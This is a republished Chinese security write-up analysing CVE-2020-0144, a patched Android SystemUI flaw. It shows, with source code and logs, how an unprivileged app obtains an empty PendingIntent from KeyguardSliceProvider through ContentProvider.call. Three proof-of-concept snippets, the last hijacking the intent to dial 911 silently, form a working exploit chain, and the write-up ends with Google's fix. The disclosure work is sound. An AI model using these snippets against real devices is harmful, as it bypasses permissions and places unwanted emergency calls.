最新消息:

Android 中的特殊攻擊面(三)—— 隱蔽的 call 函數

SEEBUG IMGIT 102浏览 0评论

作者:heeeeen
公眾號:OPPO安全應急響應中心

系列閱讀:
Android 中的特殊攻擊面(一)——邪惡的對話框
Android 中的特殊攻擊面(二)——危險的deeplink

0x00 簡介

6月,Google在Android AOSP Framework中修復了OPPO子午互聯網安全實驗室發現的高危提權漏洞CVE-2020-0144 [1] ,這個漏洞允許手機上沒有權限的惡意應用以SystemUI 的名義發送任意Activity Intent ,可以靜默撥打緊急電話,打開許多受權限保護的Activity。該漏洞也是自retme大神所分析的BroadcastAnyWhere經典漏洞[2]以來的又一個PendingIntent劫持漏洞,儘管無法以System UID的權限發送任意廣播,但由於SystemUI 同樣擁有大量權限,該提權漏洞仍然具有很大的利用空間。

本文將對CVE-2020-0144進行分析,不過重點倒不在於PendingIntent漏洞利用,而是介紹該漏洞中PendingIntent的獲取,這涉及到ContentProvider的一個比較隱蔽的函數——call 。

0x01 ContentProvider call

call函數的其中一個原型如下

public Bundle call (String method, String arg, Bundle extras)               Bundle extras)

與其他基於數據庫表的query/insert/delete等函數不同,call提供了一種針對Provider的直接操作接口,支持傳入的參數分別為:方法、String類型的參數和Bundle類型的參數,並返回給調用者一個Bundle 類型的參數。

call函數的使用潛藏暗坑,開發者文檔特意給出警示[3]:Android框架並沒有針對call函數進行權限檢查,call函數必須實現自己的權限檢查。這裡的潛在含義是:AndroidManifest文件中對ContentProvider的權限設置可能無效,必須在代碼中對調用者進行權限檢查。文章[4]對這種call函數的誤用進行了描述,並給出了漏洞模型,感興趣的讀者可以去深究。

0x02 雙無PendingIntent

CVE-2020-0144位於SystemUI的KeyGuardSliceProvider,該Provider包含一個構造自空Intent的PendingIntent。這是一個雙無PendingIntent,既沒有指定Intent的Package,也沒有指定Intent的Action。普通App如果可以拿到這個PendingIntent,就可以填充這些內容,並以SystemUI的名義發送出去。

frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java

public boolean onCreateSliceProvider() {
            ...
            mPendingIntent = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);
            ...
        }
return true;
    }

關鍵是普通App,如何拿到這個PendingIntent?要回答這個問題,必須從KeyGuardSliceProvider的父類SliceProvider說起。

0x03 SliceProvider

SliceProvider是自Android P開始引入的一種應用程序間共享UI界面的機制,其架構如下圖所示。在默認使用場景下,Slice的呈現者(SlicePresenter),可以通過Slice URI和Android系統提供的bindSlice等API來訪問另一個App通過SliceProvider分享出來的Slice。

簡而言之,Slice是可共享的UI界面,包括圖標、文本和動作(action),Slice通過URI來唯一標識。比如Settings中打開NFC開關的這個界面

可以通過SettingsSliceProvider中content://android.settings.slices/action/toggle_nfc這個URI共享給別的應用使用,用戶不必打開Settings,就可以在其他應用界面中對NFC開關進行操作。除了顯示文字和圖標,上述界面也包含兩個action:

點擊文字:跳轉到Settings中的NFC設置界面;

點擊按鈕:直接打開或關閉NFC選項。

這兩個提供給用戶觸發的action實質都是通過PendingIntent來實現的。

關於SliceProvider的詳細介紹參見[5]、[6],儘管Android框架層提供了一系列API供App來使用SliceProvider,但更底層的call函數提供了一種直接操縱SliceProvider的捷徑。

仔細觀察SliceProvider,實現了call函數,根據不同的調用方法,返回一個包含Slice對象的Bundle。

frameworks/base/core/java/android/app/slice/SliceProvider.java

 @Override
    public Bundle call(String method, String arg, Bundle extras) {
        if (method.equals(METHOD_SLICE)) {
            Uri uri = getUriWithoutUserId(validateIncomingUriOrNull(
                    extras.getParcelable(EXTRA_BIND_URI)));
            List<SliceSpec> supportedSpecs = extras.getParcelableArrayList(EXTRA_SUPPORTED_SPECS);

            String callingPackage = getCallingPackage();
            int callingUid = Binder.getCallingUid();
            int callingPid = Binder.getCallingPid();

            Slice s = handleBindSlice(uri, supportedSpecs, callingPackage, callingUid, callingPid);
            Bundle b = new Bundle();
            b.putParcelable(EXTRA_SLICE, s);
            return b;
        } else if (method.equals(METHOD_MAP_INTENT)) {
            ...
        } else if (method.equals(METHOD_MAP_ONLY_INTENT)) {
            ...
        } else if (method.equals(METHOD_PIN)) {
            ...
        } else if (method.equals(METHOD_UNPIN)) {
            ...
        } else if (method.equals(METHOD_GET_DESCENDANTS)) {
            ...
        } else if (method.equals(METHOD_GET_PERMISSIONS)) {
            ...
        }
        return super.call(method, arg, extras);
    }

我們觀察第一個分支,當傳入的方法為METHOD_SLICE時,調用鏈為SliceProvider.handleBindSlice–>onBindSliceStrict–>onBindSlice,中間若通過了Slice訪問的權限檢查,最終就會進入onBindSlice方法,在SliceProvder中這個方法為空,因此具體實現在派生SliceProvider的子類。

0x04 KeyguardSliceProvider

SystemUI 所使用的KeyguardSliceProivder派生自SliceProvider,可以將鎖屏上的日期、勿擾圖標以及鬧鐘等展示界面分享給其他App使用。

<provider android:name=".keyguard.KeyguardSliceProvider"
android:authorities="com.android.systemui.keyguard"
android:grantUriPermissions="true"
android:exported="true">
</provider>

針對KeyguardSliceProvider的URI content://com.android.systemui.keyguard使用call函數,傳入METHOD_SLICE,最終進入下面的onBindSlice方法。

frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java

@AnyThread
@Override
public Slice onBindSlice(Uri sliceUri) {
        Trace.beginSection("KeyguardSliceProvider#onBindSlice");
        Slice slice;
synchronized (this) {
            ListBuilder builder = new ListBuilder(getContext(), mSliceUri, ListBuilder.INFINITY);
if (needsMediaLocked()) {
                addMediaLocked(builder);
            } else {
                builder.addRow(new RowBuilder(mDateUri).setTitle(mLastText));
            }
            addNextAlarmLocked(builder);
            addZenModeLocked(builder);
            addPrimaryActionLocked(builder);
            slice = builder.build();
        }
        Trace.endSection();
return slice;
    }

這個方法返回給調用方KeyGuardSliceProvider的Slice對象,該對象通過addPrimaryActionLocked(builder)函數添加內部的action。

frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java

protected void addPrimaryActionLocked(ListBuilder builder) {
// Add simple action because API requires it; Keyguard handles presenting
// its own slices so this action + icon are actually never used.
        IconCompat icon = IconCompat.createWithResource(getContext(),
                R.drawable.ic_access_alarms_big);
        SliceAction action = SliceAction.createDeeplink(mPendingIntent, icon,
                ListBuilder.ICON_IMAGE, mLastText);
        RowBuilder primaryActionRow = new RowBuilder(Uri.parse(KEYGUARD_ACTION_URI))
                .setPrimaryAction(action);
        builder.addRow(primaryActionRow);
    }

注意上面那個mPendingIntent,也就是我們在前文所說的那個雙無PendingIntent,該對象會被層層包裹到call函數返回的Slice對象中。因此,通過call函數,經過SliceProvider與KeyguardSliceProvider,有可能拿到SystemUI 生成的一個雙無PendingIntent。

0x05 SliceProvider授權

但是使用下面的代碼去call KeyguardSliceProvider會觸發第一次訪問Slice的授權。

—-POC1—-

 final static String uriKeyguardSlices = "content://com.android.systemui.keyguard";
 Bundle responseBundle = getContentResolver().call(Uri.parse(uriKeyguardSlices), "bind_slice", null, prepareReqBundle());
 Slice slice = responseBundle.getParcelable("slice");
 Log.d("pi", slice.toString());

private Bundle prepareReqBundle() {
        Bundle b = new Bundle();
        b.putParcelable("slice_uri", Uri.parse(uriKeyguardSlices));
        ArrayList<Parcelable> supportedSpecs = new ArrayList<Parcelable>();
        supportedSpecs.add(new SliceSpec("androidx.app.slice.LIST", 1));
        supportedSpecs.add(new SliceSpec("androidx.slice.LIST", 1));
        supportedSpecs.add(new SliceSpec("androidx.app.slice.BASIC", 1));
        b.putParcelableArrayList("supported_specs", supportedSpecs);
return b;
 }

得到Slice如下

05-30 08:31:02.306 11449 11449 D pi      : slice:
05-30 08:31:02.306 11449 11449 D pi      :    image
05-30 08:31:02.306 11449 11449 D pi      :    text: testAOSPSytemUIKeyguardSliceProvider wants to show System UI slices
05-30 08:31:02.306 11449 11449 D pi      :    int
05-30 08:31:02.306 11449 11449 D pi      :    slice:
05-30 08:31:02.306 11449 11449 D pi      :       image
05-30 08:31:02.306 11449 11449 D pi      :       action

從上面的text描述可知,由於SystemUI並沒有授權給我們的app去訪問這個Slice,我們的call觸發了對Slice的授權請求,得到的Slice對象經由createPermissionSlice返回

frameworks/base/core/java/android/app/slice/SliceProvider.java

private Slice handleBindSlice(Uri sliceUri, List<SliceSpec> supportedSpecs,
            String callingPkg, int callingUid, int callingPid) {
// This can be removed once Slice#bindSlice is removed and everyone is using
// SliceManager#bindSlice.
        String pkg = callingPkg != null ? callingPkg
                : getContext().getPackageManager().getNameForUid(callingUid);
try {
            mSliceManager.enforceSlicePermission(sliceUri, pkg,
                    callingPid, callingUid, mAutoGrantPermissions);
        } catch (SecurityException e) {
return createPermissionSlice(getContext(), sliceUri, pkg);
        }

這個Slice封裝了一個向用戶獲取授權的動作,通過createPermissionSlice函數得到

frameworks/base/core/java/android/app/slice/SliceProvider.java

public Slice createPermissionSlice(Context context, Uri sliceUri,
String callingPackage) {
PendingIntent action;
mCallback = "onCreatePermissionRequest";
Handler.getMain().postDelayed(mAnr, SLICE_BIND_ANR);
try {
action = onCreatePermissionRequest(sliceUri);
} finally {
Handler.getMain().removeCallbacks(mAnr);
}

最終調用createPermissionIntent,構造一個PendingIntent,用於彈出授權對話框SlicePermissionActivity

frameworks/base/core/java/android/app/slice/SliceProvider.java

/**
     * @hide
     */
public static PendingIntent createPermissionIntent(Context context, Uri sliceUri,
            String callingPackage) {
        Intent intent = new Intent(SliceManager.ACTION_REQUEST_SLICE_PERMISSION);
        intent.setComponent(new ComponentName("com.android.systemui",
"com.android.systemui.SlicePermissionActivity"));
        intent.putExtra(EXTRA_BIND_URI, sliceUri);
        intent.putExtra(EXTRA_PKG, callingPackage);
        intent.putExtra(EXTRA_PROVIDER_PKG, context.getPackageName());
// Unique pending intent.
        intent.setData(sliceUri.buildUpon().appendQueryParameter("package", callingPackage)
                .build());

return PendingIntent.getActivity(context, 0, intent, 0);
    }

看到這裡,就知道普通App也可以直接發起這個授權,讓用戶同意對KeyguardSliceProvider的訪問,POC發起授權的部分如下。

—POC2—

Intent intent = new Intent("com.android.intent.action.REQUEST_SLICE_PERMISSION");
                intent.setComponent(new ComponentName("com.android.systemui",
"com.android.systemui.SlicePermissionActivity"));

                Uri uri = Uri.parse(uriKeyguardSlices);
                intent.putExtra("slice_uri", uri);
                intent.putExtra("pkg", getPackageName());
                intent.putExtra("provider_pkg", "com.android.systemui");

                startActivity(intent);

點擊同意后,就可以真正call到KeyguardSliceProvider

0x06 PendingIntent劫持題

再次調用POC1,得到Slice如下,

sargo:/data/system/slice # logcat -s pi
--------- beginning of main
05-30 10:40:52.956 12871 12871 D pi      : long
05-30 10:40:52.956 12871 12871 D pi      : slice:
05-30 10:40:52.956 12871 12871 D pi      :    text: Sat, May 30
05-30 10:40:52.956 12871 12871 D pi      : slice:
05-30 10:40:52.956 12871 12871 D pi      :    action
05-30 10:40:52.956 12871 12871 D pi      : long

注意上面顯示的 那個action就是需要劫持的PendingIntent,通過調試觀察,這個PendingIntent被層層包裹,位於返回Slice第3個SliceItem的第1個SliceItem,用代碼表示就是

PendingIntent pi = slice.getItems().get(2).getSlice().getItems().get(0).getAction();

這樣就可以給出POC的最終利用

—POC3—

Bundle responseBundle = getContentResolver().call(Uri.parse(uriKeyguardSlices), "bind_slice", null, prepareReqBundle());

Slice slice = responseBundle.getParcelable("slice");
Log.d("pi", slice.toString());
PendingIntent pi = slice.getItems().get(2).getSlice().getItems().get(0).getAction();
Intent evilIntent = new Intent("android.intent.action.CALL_PRIVILEGED");
evilIntent.setData(Uri.parse("tel:911"));
try {
    pi.send(getApplicationContext(), 0, evilIntent, null, null);
} catch (PendingIntent.CanceledException e) {
   e.printStackTrace();
}

在用戶僅授權訪問SystemUI KeyguardSliceProvider的情況下,撥打緊急電話。

至此,我們通過call函數,經過SliceProvider的授權,層層剝繭抽絲,拿到了潛藏至深的雙無PendingIntent,並以SystemUI的名義直接撥打緊急電話。這是一個繞過有關安全設置權限的操作,因此Google評級為高危。

0x07 修復

Google針對雙無PendingIntent進行了修復,使其指向一個並不存在的的Activity,無法被劫持。

-            mPendingIntent = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);
+            mPendingIntent = PendingIntent.getActivity(getContext(), 0,
+                    new Intent(getContext(), KeyguardSliceProvider.class), 0);

0x08 參考

[1] https://source.android.com/security/bulletin/2020-06-01

[2] http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html

[3] https://developer.android.com/reference/android/content/ContentProvider#call(java.lang.String,%20java.lang.String,%20java.lang.String,%20android.os.Bundle)

[4] https://bitbucket.org/secure-it-i/android-app-vulnerability-benchmarks/src/master/ICC/WeakChecksOnDynamicInvocation-DataInjection-Lean/

[5] https://developer.android.com/guide/slices

[6] https://proandroiddev.com/android-jetpack-android-slices-introduction-cf0ce0f3e885


Android 中的特殊攻擊面(三)—— 隱蔽的 call 函數
本文由 Seebug Paper 發佈,如需轉載請註明來源。本文地址:https://paper.seebug.org/1269/

转载请注明:IMGIT » Android 中的特殊攻擊面(三)—— 隱蔽的 call 函數

发表我的评论
取消评论

*

code

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址